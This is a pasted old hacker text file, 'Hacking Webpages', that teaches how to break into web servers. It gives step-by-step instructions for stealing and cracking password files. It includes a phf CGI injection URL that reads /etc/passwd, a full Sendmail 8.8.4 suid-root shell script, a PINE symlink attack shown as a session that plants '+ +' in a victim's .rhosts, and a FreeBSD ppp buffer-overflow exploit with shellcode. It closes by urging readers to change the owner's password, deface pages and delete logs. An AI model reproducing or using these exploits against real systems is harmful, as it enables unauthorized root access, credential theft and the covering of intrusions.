Hacking Webpages


SUBMITTED BY: Guest

DATE: June 17, 2015, 6:39 p.m.

FORMAT: Text only

SIZE: 11.2 kB

HITS: 1079

  1. Hacking Webpages
  2. The Ultimate Guide
  3. By Virtual Circuit and Psychotic
  4. Well Psychotic wrote one of the most helpful unix text files in cyberspace but wi
  5. th the mail that we recieved after the release of our famous 36 page Unix Bible w
  6. e realised that unix isn't for everybody so we decided that we should write on an
  7. other aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "
  8. Hacking Webpages With a few Other Techniques." We will discuss a few various way
  9. s of hacking webpages and getting root. We are also going to interview and quest
  10. ion other REAL hackers on the subjects.
  11. Getting the Password File Through FTP
  12. Ok well one of the easiest ways of getting superuser access is through anonymous
  13. ftp access into a webpage. First you need learn a little about the password file.
  14. ..
  15. root:User:d7Bdg:1n2HG2:1127:20:Superuser
  16. TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
  17. BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
  18. This is an example of a regular encrypted password file. The Superuser is the par
  19. t that gives you root. That's the main part of the file.
  20. root:x:0:1:Superuser:/:
  21. ftp:x:202:102:Anonymous ftp:/u1/ftp:
  22. ftpadmin:x:203:102:ftp Administrator:/u1/ftp
  23. This is another example of a password file, only this one has one little differen
  24. ce, it's shadowed. Shadowed password files don't let you view or copy the actual
  25. encrypted password. This causes problems for the password cracker and dictionary
  26. maker(both explained later in the text). Below is another example of a shadowed
  27. password file:
  28. root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
  29. daemon:x:1:1:0000-Admin(0000):/:
  30. bin:x:2:2:0000-Admin(0000):/usr/bin:
  31. sys:x:3:3:0000-Admin(0000):/:
  32. adm:x:4:4:0000-Admin(0000):/var/adm:
  33. lp:x:71:8:0000-lp(0000):/usr/spool/lp:
  34. smtp:x:0:0:mail daemon user:/:
  35. uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
  36. nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
  37. listen:x:37:4:Network Admin:/usr/net/nls:
  38. nobody:x:60001:60001:uid no body:/:
  39. noaccess:x:60002:60002:uid no access:/:
  40. webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
  41. pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
  42. false
  43. ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
  44. Shadowed password files have an "x" in the place of a password or sometimes they
  45. are disguised as an * as well.
  46. Now that you know a little more about what the actual password file looks like yo
  47. u should be able to identify a normal encrypted pw from a shadowed pw file. We ca
  48. n now go on to talk about how to crack it.
  49. Cracking a password file isn't as complicated as it would seem, although the file
  50. s vary from system to system. 1.The first step that you would take is to download
  51. or copy the file. 2. The second step is to find a password cracker and a diction
  52. ary maker. Although it's nearly impossible to find a good cracker there are a few
  53. ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, B
  54. rute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionar
  55. y file... When you start a cracking prog you will be asked to find the the passw
  56. ord file. That's where a dictionary maker comes in. You can download one from nea
  57. rly every hacker page on the net. A dictionary maker finds all the possible lett
  58. er combinations with the alphabet that you choose(ASCII, caps, lowercase, and num
  59. eric letters may also be added) . We will be releasing our pasword file to the p
  60. ublic soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we
  61. know it will be one of the largest in circulation. 3. You then start up the crack
  62. er and follow the directions that it gives you.
  63. The PHF Technique
  64. Well I wasn't sure if I should include this section due to the fact that everybod
  65. y already knows it and most servers have already found out about the bug and fixe
  66. d it. But since I have been asked questions about the phf I decided to include it
  67. .
  68. The phf technique is by far the easiest way of getting a password file(although i
  69. t doesn't work 95% of the time). But to do the phf all you do is open a browser a
  70. nd type in the following link:
  71. http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  72. You replace the webpage_goes_here with the domain. So if you were trying to get t
  73. he pw file for www.webpage.com you would type:
  74. http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  75. and that's it! You just sit back and copy the file(if it works).
  76. Telnet and Exploits
  77. Well exploits are the best way of hacking webpages but they are also more complic
  78. ated then hacking through ftp or using the phf. Before you can setup an exploit y
  79. ou must first have a telnet proggie, there are many different clients you can jus
  80. t do a netsearch and find everything you need.
  81. It’s best to get an account with your target(if possible) and view the glitches f
  82. rom the inside out. Exploits expose errors or bugs in systems and usually allow y
  83. ou to gain root access. There are many different exploits around and you can view
  84. each seperately. I’m going to list a few below but the list of exploits is endle
  85. ss.
  86. This exploit is known as Sendmail v.8.8.4
  87. It creates a suid program /tmp/x that calls shell as root. This is how you set it
  88. up:
  89. cat << _EOF_ >/tmp/x.c
  90. #define RUN "/bin/ksh"
  91. #include<stdio.h>
  92. main()
  93. {
  94. execl(RUN,RUN,NULL);
  95. }
  96. _EOF_
  97. #
  98. cat << _EOF_ >/tmp/spawnfish.c
  99. main()
  100. {
  101. execl("/usr/lib/sendmail","/tmp/smtpd",0);
  102. }
  103. _EOF_
  104. #
  105. cat << _EOF_ >/tmp/smtpd.c
  106. main()
  107. {
  108. setuid(0); setgid(0);
  109. system("chown root /tmp/x ;chmod 4755 /tmp/x");
  110. }
  111. _EOF_
  112. #
  113. #
  114. gcc -O -o /tmp/x /tmp/x.c
  115. gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
  116. gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
  117. #
  118. /tmp/spawnfish
  119. kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
  120. -f1`
  121. rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
  122. sleep 5
  123. if [ -u /tmp/x ] ; then
  124. echo "leet..."
  125. /tmp/x
  126. fi
  127. and now on to another exploit. I’m going to display the pine exploit through linu
  128. x. By watching the process table with ps to see which users are running PINE, on
  129. e can then do an ls in /tmp/ to gather the lockfile names for each user. Watchin
  130. g the process table once again will now reveal when each user quits PINE or runs
  131. out of unread messages in their INBOX, effectively deleting
  132. the respective lockfile.
  133. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a ge
  134. neric example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE'
  135. s process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors
  136. _lockfile, then rm /tmp/.hamors_lockfile.
  137. This was writen by Sean B. Hamor…For this example, hamors is the victim while cat
  138. luvr is the attacker:
  139. hamors (21 19:04) litterbox:~> pine
  140. catluvr (6 19:06) litterbox:~> ps -aux | grep pine
  141. catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
  142. hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
  143. catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
  144. - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
  145. catluvr (8 19:07) litterbox:~> ps -aux | grep pine
  146. catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
  147. catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
  148. hamors (23 19:09) litterbox:~> pine
  149. catluvr (11 19:10) litterbox:~> ps -aux | grep pine
  150. catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
  151. hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
  152. catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
  153. catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
  154. + +
  155. catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
  156. catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
  157. now on to another one, this will be the last one that I’m going to show. Exploita
  158. tion script for the ppp vulnerbility as described by no one to date, this is NOT
  159. FreeBSD-SA-96:15. Works on
  160. FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set
  161. it up:
  162. #include <stdio.h>
  163. #include <stdlib.h>
  164. #include <unistd.h>
  165. #define BUFFER_SIZE 156 /* size of the bufer to overflow */
  166. #define OFFSET -290 /* number of bytes to jump after the start
  167. of the buffer */
  168. long get_esp(void) { __asm__("movl %esp,%eax\n"); }
  169. main(int argc, char *argv[])
  170. {
  171. char *buf = NULL;
  172. unsigned long *addr_ptr = NULL;
  173. char *ptr = NULL;
  174. char execshell[] =
  175. "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
  176. bytes */
  177. "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
  178. bytes */
  179. "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20
  180. bytes */
  181. "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15
  182. bytes, 57 total */
  183. int i,j;
  184. buf = malloc(4096);
  185. /* fill start of bufer with nops */
  186. i = BUFFER_SIZE-strlen(execshell);
  187. memset(buf, 0x90, i);
  188. ptr = buf + i;
  189. /* place exploit code into the buffer */
  190. for(i = 0; i < strlen(execshell); i++)
  191. *ptr++ = execshell[i];
  192. addr_ptr = (long *)ptr;
  193. for(i=0;i < (104/4); i++)
  194. *addr_ptr++ = get_esp() + OFFSET;
  195. ptr = (char *)addr_ptr;
  196. *ptr = 0;
  197. setenv("HOME", buf, 1);
  198. execl("/usr/sbin/ppp", "ppp", NULL);
  199. }
  200. Now that you’ve gotten root "what’s next?" Well the choice is up to you but I wou
  201. ld recommend changing the password before you delete or change anything. To chang
  202. e their password all you have to do is login via telnet and login with your new a
  203. ccount. Then you just type: passwd and it will ask you for the old password firs
  204. t followed by the new one. Now only you will have the new pw and that should last
  205. for a while you can now upload you pages, delete all the logs and just plain do
  206. your worstJ Psychotic writes our own exploits and we will be releasing them soon,
  207. so keep your eyes open for them. We recommend that if you are serious about lear
  208. ing ethnical hacking that you download our Unix Bible.
  209. ~~PSYCHOTIC~~

comments powered by Disqus